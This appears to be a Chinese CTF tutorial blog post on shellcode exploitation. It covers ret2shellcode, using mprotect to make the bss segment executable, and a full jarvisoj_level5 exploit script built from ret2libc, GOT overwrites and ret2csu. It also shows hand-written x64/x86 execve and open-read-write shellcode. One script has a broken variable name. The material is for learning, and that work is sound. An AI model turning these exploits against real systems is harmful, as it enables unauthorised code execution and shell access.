ret2shellcode

给出下面 C 源码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int dofunc() {
	char b[0x100];
	puts("input:");	
	read(0, b, 0x100);
	((void (*) (void)) b)();
	return 0;
}

int main() {
	dofunc();
	return 0;
}

这段源码实际上是从字符串 b 中写入 0x100 字节的数据,随后将 b 作为函数地址执行。很容易想到一种方法,b 中写入一段机器码,程序运行过程中会执行这一段代码,从而藉此获取到 shell 权限。

按如下命令编译,由于 GCC 编译过程中默认开启 NX 保护,栈是不可执行的,所以我们需要添加 -z execstack 取消这一保护:

gcc ret2shellcode.c -fno-stack-protector -no-pie -z execstack -o ret2shellcode_x64

image

我们知道,在 Linux 中,r 代表可读(readable),w 代表可写(writable),x 代表可执行(executable),那么存在 r-w-x 权限的段意味着可以将任意 shellcode 注入到该段中由 CPU 执行。

pwntools 库中的 shellcraft 模块提供了很多可供执行的汇编代码,其中 shellcraft.sh() 返回直接可以 get shell 的汇编代码,通过 asm() 汇编为机器码:

# ...
payload = asm(shellcraft.sh())
p.sendlineafter(b'input', payload)

p.interactive()

这样就可以打通了。利用 Python 脚本 context() 中添加的 log_level=debug 选项输出调试信息,可以看到具体的汇编代码:

image

有些时候题目并不会给的如此直白,例如下面这个源码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>

char buf2[0x100];		// 未初始化的全局变量,位于 bss 节
int dofunc() {
	char buf[0x100];
	int pagesize = getpagesize();
	long long int addr = buf2;
	addr = (addr >> 12) << 12;
	mprotect(addr, pagesize, 7);
	puts("input:");	
	read(0, buf, 0x200);
	strncpy(buf2, buf, 100);
	printf("bye bye");
	return 0;
}

int main() {
	dofunc();
	return 0;
}

按如下命令编译:

gcc ret2shellcode_mprotect.c -fno-stack-protector -no-pie -o mprotect

默认开启了 NX 栈不可执行,ret2shellcode 似乎失效了,但我们注意到 int mprotect(const void *start, size_t len, int prot)

  • *start :起始地址

  • len :指定长度

  • prot :指定属性,有

    • PROT_NONE :完全无法访问内存
    • PROT_READ :可以读取内存
    • PROT_WRITE :内存可以修改
    • PROT_EXEC :内存可以执行

    特别地,7 意味着 r-w-x 权限

实际上,mprotect(addr, pagesize, 7) 又将 buf2 对应的地址可执行权限开启了,而 buf2 会将写入数据后的 buf 中的数据拷贝过来,那么注入 payload 到 buf 后直接构造栈溢出覆盖返回地址为 buf2 地址即可执行 shellcode。

注意多余需要覆盖的 padding 按 \x00 填充。

from pwn import *
context(log_level='debug', arch='amd64', os='linux')
file = './mprotect'

p = process(file)
elf = ELF(file)
ret_addr = elf.symbols['buf2']

padding = 0x118
payload = asm(shellcraft.sh()).ljust(padding, b'\x00') + p64(ret_addr)
p.sendlineafter(b'input:', payload)

p.interactive()

32 位同理,这里不再赘述,留给读者自行完成。

shellcode 发展历史悠久,目前基本成型,鲜有更新,在 shell-storm.org 可以查看各式各样、各种平台下的 shellcode,以最少长度调用 shell 的 shellcode 甚至只有 8 字节:

image

对于 64 位,也有 27 字节的版本:

image

这类题目往往会在限制数据写入长度方面下功夫,可以从这些 shellcode 查找到合适的注入。

jarvisoj_level5

题目下载

image

没有 canary 栈溢出保护,考虑栈溢出攻击。在 IDA 上反汇编一下:

image

太明显了,一般就直接考虑 ret2libc 攻击了;实际上,level5 与 level3 共用一个程序,只不过 level5 要求我们利用 shellcode 解决,先贴一个 ret2libc 的解法:

点击查看代码
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='amd64', os='linux')

file = './level3_x64'
io = process(file)
elf = ELF(file)

write_plt = elf.plt['write']
read_got = elf.got['read']
func = elf.symbols['vulnerable_function']
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1

padding = 0x88
# write(1, read_got, 0x200)
payload = flat([b'a' * padding, pop_rdi_ret, 1, pop_rsi_r15_ret, read_got, 0xdeadbeef, write_plt, func])
io.recvline()
io.send(payload)

read_addr = u64(io.recv(6).ljust(8, b'\x00'))

libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

payload_2 = flat([b'a' * padding, pop_rdi_ret, binsh_addr, system_addr])

io.recvline()
io.send(payload_2)
io.interactive()

题目中 NX 保护处于开启状态,bss 段是不可执行的,但是根据之前我们处理 mprotect() 函数的经验,思路很容易想到:

  1. 泄漏 write() 真实地址,获取 libc 基地址
  2. 将 shellcode 写入 bss 段
  3. 获得 mprotect() 真实地址并修改 bss 段的可执行权限
  4. 执行 bss 段的 shellcode

先泄漏 write() 真实地址,推算出 libc 基地址,从而获取 mprotect() 真实地址:

write_plt = elf.plt['write']
write_got = elf.got['write']
func = elf.symbols['vulnerable_function']
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1

padding = 0x88
# write(1, write_got, 0x200)
payload = flat([b'a' * padding, pop_rdi_ret, 1, pop_rsi_r15_ret, write_got, 0xdeadbeef, write_plt, func])
io.recvline()
io.send(payload)

write_addr = u64(io.recv(6).ljust(8, b'\x00'))

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
mprotect_addr = libc_base + libc.dump('mprotect')

再将 shellcode 写入 bss 段:

bss_addr = elf.bss()
read_plt = elf.symbols['read']
payload_2 = flat([b'a' * padding, pop_rdi_ret, 0, pop_rsi_r15_ret, bss_addr, 0xdeadbeef, read_plt, func])
io.recvline()
io.send(payload_2)
io.send(asm(shellcraft.sh()))

调用 mprotect() 修改 bss 段的权限需要传入 3 个参数,而显然程序里没有现成的 pop rdx; ret gadget 来传入第三个参数,因此考虑使用 ret2csu 方法调用函数。我们知道,ret2csu 中上部分 gadget 会 CALL 一个指向函数地址的指针:

image

需要构造一个指向 mprotect() 的函数指针作为传入 R12 的参数;同时 bss 段首也需要作为函数指针传入 R12 进行调用。我们可以在 GOT 表中写入调用的函数地址作为指针,在 IDA 中恰好也有两个空白的 GOT 条目:

image

因此,将得到的 mprotect() 真实地址和 bss 段地址写入到 GOT 表中:

bss_got = 0x600A48
payload_3 = flat([b'a' * padding, pop_rdi_ret, 0, pop_rsi_r15_ret, bss_got, 0xdeadbeef, read_plt, func])
io.recvline()
io.send(payload_3)
io.send(p64(bss_addr))

mprotect_got = 0x600A50
payload_4 = flat([b'a' * padding, pop_rdi_ret, 0, pop_rsi_r15_ret, mprotect_got, 0xdeadbeef, read_plt, func])
io.recvline()
io.send(payload_4)
io.send(p64(mprotect_addr))

随后,利用 ret2csu 为 mprotect() 传入参数并调用,由于 mprotect() 要求传入的内存地址必须按页对齐,len 设为 0x1000 即为一内存页,从 0x600000 开始,可以保证 bss 段同时被赋予可执行权限mov edi, r15d 恰好可以将 bss 段地址的全部六个字节传入 RDI),随后再利用 call [r12] 执行 bss 段上的 shellcode,下部分 gadget 也不需要再传入任何参数了:

pop_rbx = 0x4006AA
mov_rdx_r13 = 0x400690
payload_5 = flat([b'a' * padding, pop_rbx, 0, 1, mprotect_got, 7, 0x1000, 0x600000, mov_rdx_r13])
payload_5 += flat([0xdeadbeef, 0, 1, bss_got]) + p64(0xdeadbeef) * 3
payload_5 += p64(mov_rdx_r13)
io.recvline()
io.send(payload_5)
io.interactive()

至此,shellcode 成功被执行,以下是完整 Exp 脚本:

点击查看代码
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='amd64', os='linux')

file = './level3_x64'
io = process(file)
elf = ELF(file)

write_plt = elf.plt['write']
write_got = elf.got['write']
func = elf.symbols['vulnerable_function']
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1

padding = 0x88
# write(1, read_got, 0x200)
payload = flat([b'a' * padding, pop_rdi_ret, 1, pop_rsi_r15_ret, write_got, 0xdeadbeef, write_plt, func])
io.recvline()
io.send(payload)

write_addr = u64(io.recv(6).ljust(8, b'\x00'))

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
mprotect_addr = libc_base + libc.dump('mprotect')

bss_addr = elf.bss()
read_plt = elf.symbols['read']
payload_2 = flat([b'a' * padding, pop_rdi_ret, 0, pop_rsi_r15_ret, bss_addr, 0xdeadbeef, read_plt, func])
io.recvline()
io.send(payload_2)
io.send(asm(shellcraft.sh()))
# Set bss address as got
bss_got = 0x600A48
payload_3 = flat([b'a' * padding, pop_rdi_ret, 0, pop_rsi_r15_ret, bss_got, 0xdeadbeef, read_plt, func])
io.recvline()
io.send(payload_3)
io.send(p64(bss_addr))
# Set mprotect address as got
mprotect_got = 0x600A50
payload_4 = flat([b'a' * padding, pop_rdi_ret, 0, pop_rsi_r15_ret, mprotect_got, 0xdeadbeef, read_plt, func])
io.recvline()
io.send(payload_4)
io.send(p64(mprotect_addr))
# ret2csu
pop_rbx = 0x4006AA
mov_rdx_r13 = 0x400690
payload_5 = flat([b'a' * padding, pop_rbx, 0, 1, mprotect_got, 7, 0x1000, 0x600000, mov_rdx_r13])
payload_5 += flat([0xdeadbeef, 0, 1, bss_got]) + p64(0xdeadbeef) * 3
payload_5 += p64(mov_rdx_r13)
io.recvline()
io.send(payload_5)
io.interactive()

原理

64 位简单 shellcode 构造

调用 shell,本质上是调用 execve("/bin/sh", 0, 0) ,则为达成这一目的,需要进行如下三步:

  1. 系统调用 execve ,将系统调用号 0x3b 传入 RAX 中
  2. 将第一个参数 "/bin/sh" 传入 RDI 中
  3. 将第二、三个参数分别传入 RSI、RDX 中

在系统调用之前,把需要的参数存进去即可

首先,RSI、RDX 置零,不使用诸如 mov rdx, 0 之类的指令是因为 xor 指令所需字节数更少:

xor rdx, rdx
xor rsi, rsi

其次,将第一个参数传入 RDI 中,从之前讨论过的 ret2libc 中可以看出,RDI 存放的其实是指向存放字符串 /bin/sh 的地址的指针,函数会自行根据地址找到对应的字符串。

当我们写的汇编语言经过汇编转换为机器码时,会根据小端序将输入的内容逆序存储,因此手动输入的 /bin/sh 字符串需要倒过来按 ASCII 码的 16 进制形式表达,同时为了填充 8 个字节对齐,还需要进一步修改为 /bin//sh 的形式,中间多一个 2f/ 的 ASCII 码),即 0x68732f2f6e69622f

xor rdi, rdi		; RDI 置零
push rdi		; 要先把 0 压入栈顶,当字符串被压入栈顶后就起到了截断字符串的作用
mov rdi, 0x68732f2f6e69622f
push rdi		; 字符串被存放到了栈顶的内存单元中
lea rdi, [rsp]		; 将栈顶的地址(并非内容)存入 RDI 中

值得注意,RSP 的值与内容是不一样的,可以理解为 C 语言的指针 p 和其解引用 *p ,一个是地址本身,一个是地址对应的内存内容。

如果我们将 0x68732f2f6e69622f 中间重复的 2f 去掉一个,构成 0x68732f6e69622f ,MOV 的源操作数则不足以占满一个内存单元,此时程序会自动按 \x00 对齐 8 字节,同时这个 \x00 也声明了字符串的结束。这样,我们就可以省去前面将 0 压入栈顶的操作。

一条指令对应着一段独特的机器码序列。lea rdi, [rsp] 对应着机器码 48 8d 3c 24 ,共占用 4 个字节,而等效操作 mov rdi, rsp 则对应着机器码 48 89 e7 ,占用进一步缩小,仅仅占用 3 个字节;更进一步地,如下等效操作

push rsp		; 将 RSP 的值压入栈顶,作为新栈顶的内容
pop rdi			; 将栈顶的内容弹出到 RDI 中,即将 RSP 的值赋值给 RDI

push rsp 对应机器码 54pop rdi 对应机器码 5f ,两条指令序列甚至只占用 2 个字节,而很多题目都是限制数据写入长度的,当然越少的字节占用越好;所以,最终我们的 shellcode 可以构造为:

xor rdi, rdi		; 这里保留是为了预防未知的赋值问题
mov rdi, 0x68732f6e69622f
push rdi
push rsp
pop rdi

最后,将 execve 对应的系统调用号放入 RAX 中,直接 syscall

xor rax, rax
mov rax, 0x3b
syscall

综上,三部分合并汇总一下,稍加精简,仅仅使用 0x1e 个字节就完成了调用 shell:

xor rax, rax
push 0x3b
pop rax
xor rdi, rdi
mov rdi, 0x68732f6e69622f
push rdi
push rsp
pop rdi
xor rsi, rsi
xor rdx, rdx
syscall

可以利用这段 shellcode 完成 mrctf2020_shellcode 这道题。

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = file('./mrctf2020_shellcode')

shellcode = asm('''
xor rax, rax
push 0x3b
pop rax
xor rdi, rdi
mov rdi, 0x68732f6e69622f
push rdi
push rsp
pop rdi
xor rsi, rsi
xor rdx, rdx
syscall
''')
p.sendline(shellcode)
p.interactive()

32 位简单 shellcode 构造

同 64 位思路一致,只需要注意系统调用采用 int x80 中断,EBX、ECX、EDX 作为传参的前三个寄存器,存储系统调用号的是 EAX 即可。

对于把 /bin/sh 压入栈顶的方法,由于 32 位的内存单元为 4 字节,只能先将 0 压入截断字符串,再先后按小端序形式逆序压入 //sh/bin 两个连续的数据,这样程序读取时就等价于 /bin//sh\x00 了;同样地,多添加的 / 依然是为了对齐。

xor ecx, ecx
xor edx, edx
xor ebx, ebx 
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor eax, eax
push 11
pop eax
int 0x80

open, read, write 的 shellcode 构造

有些 pwn 题开启了沙箱保护,禁用了 execve()system() 函数,但没有开启 NX 保护,可以利用 orw 读出 flag.

我们需要构造出如下代码:

open(flag_addr, 0);
read(3, addr, 0x50);		// 一个进程存在默认文件描述符 0, 1, 2, 再打开新的文件后其文件描述符就以此类推
write(1, addr, 0x50);

接下来,通过汇编代码实现这些操作:

; open(flag_addr, 0)
push 0x67616c66		; "flag" 的 ASCII 码形式
push rsp		; rsp 的值为存放字符串的地址,将其压入栈顶
pop rdi			; rsp 值作为 open 第一个参数弹出
push 0
pop rsi
push 2
pop rax
syscall
; read(3, addr, 0x50)
push 3
pop rdi
push rsp	; 完成第一个参数的传参后,只要不会导致堆栈崩溃,此时栈顶地址存放着什么并不重要,只需知道 flag 会被写入到该地址即可
pop rsi
; 需要保证下面 write 的第二个参数也可通过 rsp 的值正确读取到 flag 即可
; 每一个 push 都对应着一个 pop,这样 rsp 就始终指向同一个位置了
push 0x50
pop rdx
push 0
pop rax
syscall
; write(1, addr, 0x50)
push 1
pop rdi
push rsp
pop rsi
push 0x50
pop rdx
push 1
pop rax
syscall

32 位类似,只不过除了系统调用、寄存器传参不同,还需要注意在压入参数 flag 前需压入 \x00 以截断字符串:

点击查看代码
; open(flag_addr, 0)
push 0
push 0x67616c66
push esp
pop ebx
xor ecx, ecx
push 5
pop eax
int 0x80
; read(3, addr, 0x50)
push eax
pop ebx
push esp 
pop ecx
push 0x50
pop edx
push 3
pop eax
int 0x80
; write(1, addr, 0x50)
push 1
pop ebx
push esp
pop ecx
push 0x50
pop edx
push 4
pop eax
int 0x80

调试写好的 shellcode

为编写好的 shellcode 加上开头,形成最基本的汇编文件 shellcode.asm

section .text
global _start
_start:
	xor rax,rax
	push 0x3b
	pop rax
	xor rdi,rdi
	mov rdi,0x68732f6e69622f
	push rdi
	push rsp
	pop rdi
	xor rsi,rsi
	xor rdx,rdx
	syscall

文件开头的作用参考这篇文章

运行如下命令编译汇编文件为 .o 目标文件:

nasm -f elf64 shellcode.asm

可以使用 objdump -d shellcode.o -M intel 查看汇编指令对应的机器码:

image

目前生成的仅仅只是 .o 文件,还不可被调试,需要进一步地链接到二进制文件:

ld -s -o shellcode shellcode.o

就可以执行了:

image

也可以使用 GDB 进行动态调试了。

image

小工具:在线汇编转机器码网站

posted @ 2025-06-25 00:46  孤独者的夜空  阅读(28)  评论(0)    收藏  举报